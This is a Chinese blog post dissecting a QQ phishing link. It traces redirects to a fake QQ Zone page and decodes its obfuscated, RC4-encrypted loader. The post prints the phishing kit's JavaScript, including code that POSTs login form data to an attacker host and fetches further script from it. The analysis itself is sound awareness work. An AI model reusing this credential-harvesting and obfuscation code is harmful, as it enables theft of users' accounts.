密碼是如何被竊取的

@Me發表於2018-12-18

中午小憩的時候收到一個不怎麼聯絡朋友的訊息:

這是你麼?https://sc.qq.com/*

(關鍵字串已經被隱去)

感覺Amazing!QQ官方連結吼!按照以前,打個哈哈就不管了,可能這次喝了咖啡太提神,於是我想看看這次釣魚是怎麼策劃的,於是...我點了。

PC上訪問這個地址會發現跳轉到QQ空間官方登入頁面,看來這個是做了規避(還是很縝密的吼),並且瀏覽器自帶的UA也是過不了的!看來直接通過瀏覽器開啟並不是此次攻擊的目標,也就是,人家要的是QQ內嵌瀏覽器的UA!

通過內嵌瀏覽器UA開啟頁面後發現是一個多重定向,但是Finally你回到這個地址:

http://www.xtuan.com/upload/qzone/20180402/18375979920.html

這個地址的正文非常簡單:

<!doctype html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <title>QQ空間-分享生活,留住感動</title>
        <meta name="keywords" content="QQ空間,qzone,騰訊,社交,照片,相簿,日誌,說說,簽到,花藤,qq農場,qq牧場,親子相簿,旅遊相簿" />
        <meta name="description" content="QQ空間(Qzone)是中國最大的社交網路,是QQ使用者的網上家園,是騰訊集團的核心平臺之一。您可以玩遊戲、玩裝扮、上傳照片、寫說說、寫日誌,黃鑽貴族還可以免費換裝並擁有多種特權。QQ空間同時致力於建設騰訊開放平臺,和第三方開發商、創業者一起為億萬中國網民提供卓越的、個性化的社交服務。" />
<script>
<!--
document.write(unescape("%3C%21doctype%20html%3E%0A%3Chtml%3E%0A%09%3Chead%3E%0A%09%09%3Cmeta%20charset%3D%22UTF-8%22%20/%3E%0A%09%09%3Cmeta%20http-equiv%3D%22content-type%22%20content%3D%22text/html%3B%20charset%3DUTF-8%22%20/%3E%0A%09%09%3Cmeta%20http-equiv%3D%22X-UA-
//節省篇幅
%u7684%u3001%u4E2A%u6027%u5316%u7684%u793E%u4EA4%u670D%u52A1%u3002%22%20/%3E%0A%3Cscript%20type%3D%22text/javascript%22%20src%3D%22//t.cn/RnBljgC%22%3E%3C/script%3E%0A%3C/head%3E%0A%3Cbody%3E%0A%3C/body%3E%0A%3C/html%3E"));
//-->
</script>
</head>
<body>
</body>
</html>

關鍵在script中的http://t.cn/RnBljgC,他將載入實際地址為http://js.qq.zonemedia.com.cn/app.php的連結內容:

(function () {
    var new_doc = document.open("text/html", "replace");
    var html = unescape("%3C%68%74%6D%6C%3E%0A%3C%68%65%61%64%3E%0A%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%63%6F%6E%74%65%6E%74%2D%74%79%70%65%22%20%63%6F%6E%74%65%6E%74%
//節省篇幅
%29%29%29%29%3B%0A%3C%2F%73%63%72%69%70%74%3E%0A%3C%2F%68%65%61%64%3E%0A%3C%62%6F%64%79%3E%0A%3C%2F%62%6F%64%79%3E%0A%3C%2F%68%74%6D%6C%3E");
    new_doc.write(html);
    new_doc.close();
})();
var set = document.createElement('iframe');
set.src = 'https://www.baidu.com/favicon.ico';
set.style.display = 'none';
set.onload = function () {
    setTimeout(function () {
        set.remove();
    }, 9)
}
document.title = '\u767b\u5f55';
document.body.appendChild(set);
function base64_encode(d){var q='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var z,y,x,w,v,u,t,s,i=0,j=0,p='',r=[];if(!d){return d}do{z=d.charCodeAt(i++);y=d.charCodeAt(i++);x=d.charCodeAt(i++);s=z<<16|y<<8|x;w=s>>18&0x3f;v=s>>12&0x3f;u=s>>6&0x3f;t=s&0x3f;r[j++]=q.charAt(w)+q.charAt(v)+q.charAt(u)+q.charAt(t)}while(i<d.length);p=r.join('');var r=d.length%3;return(r?p.slice(0,r-3):p)+'==='.slice(r||3)}function base64_decode(d){var q='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var z,y,x,w,v,u,t,s,i=0,j=0,r=[];if(!d){return d}d+='';do{w=q.indexOf(d.charAt(i++));v=q.indexOf(d.charAt(i++));u=q.indexOf(d.charAt(i++));t=q.indexOf(d.charAt(i++));s=w<<18|v<<12|u<<6|t;z=s>>16&0xff;y=s>>8&0xff;x=s&0xff;if(u==64){r[j++]=String.fromCharCode(z)}else if(t==64){r[j++]=String.fromCharCode(z,y)}else{r[j++]=String.fromCharCode(z,y,x)}}while(i<d.length);return r.join('')}function arcfour(k,d){var o='';s=new Array();var n=256;l=k.length;for(var i=0;i<n;i++){s[i]=i}for(var j=i=0;i<n;i++){j=(j+s[i]+k.charCodeAt(i%l))%n;var x=s[i];s[i]=s[j];s[j]=x}for(var i=j=y=0;y<d.length;y++){i=(i+1)%n;j=(j+s[i])%n;x=s[i];s[i]=s[j];s[j]=x;o+=String.fromCharCode(d.charCodeAt(y)^s[(s[i]+s[j])%n])}return o}

看到https://www.baidu.com/favicon.ico就覺得不對勁兒了…讓我們來解開中間的經過編碼的字串:

<script type="text/javascript">
document.write(decodeURIComponent(arcfour("b5d1322869e2d0b452f300798a8bc4d7",base64_decode("j88EHd3Su5Hrfnflkezn4Q10nAv68i5VNMq0RwBVxcH06tcKtcR8bpLufs2vW7O6CR5gm65kmRbUyE7U8U9gC//XVd2UEkkgbM4r4TxFcZGjux0rZ7F9yHWQHorXLIDgx/+8fFHesEYi33r2gJejmVNvGWf4wRrcKYCH9bJ2peKn8WEj/QSPs6Vm9eNWTnGl4gCQLvDvw8yQEtySncMEjSyV/5OIZoaZTh4KhOng/

看來這裡是一串被加密的二進位制,但是金鑰已經給出,加密方式已經給出(aRCfour),讓我們使用 RC4 解密再渲染一下: enter image description here 可以看到整體上就是手機QQ登入的樣式,並且…甚至還直接引用了騰訊官方的CSS…但是關鍵:

//略去樣式和頭
        if (!err){
            $.ajax({
                url:'http://js.qq.zonemedia.com.cn/save.php',
                type:'POST',
                dataType:'json',
                data: $('#loginform').serialize(),
                error:function(er){
                $.getScript('http://js.qq.zonemedia.com.cn/share.php');
                }
            })
        }
      })
//省略尾

也就是如果我們天填寫了賬號和密碼就會被投遞到http://js.qq.zonemedia.com.cn/save.php…然後你的QQ賬號就失控了。 我們來查檢視域名的主人是誰呢: enter image description here

相關文章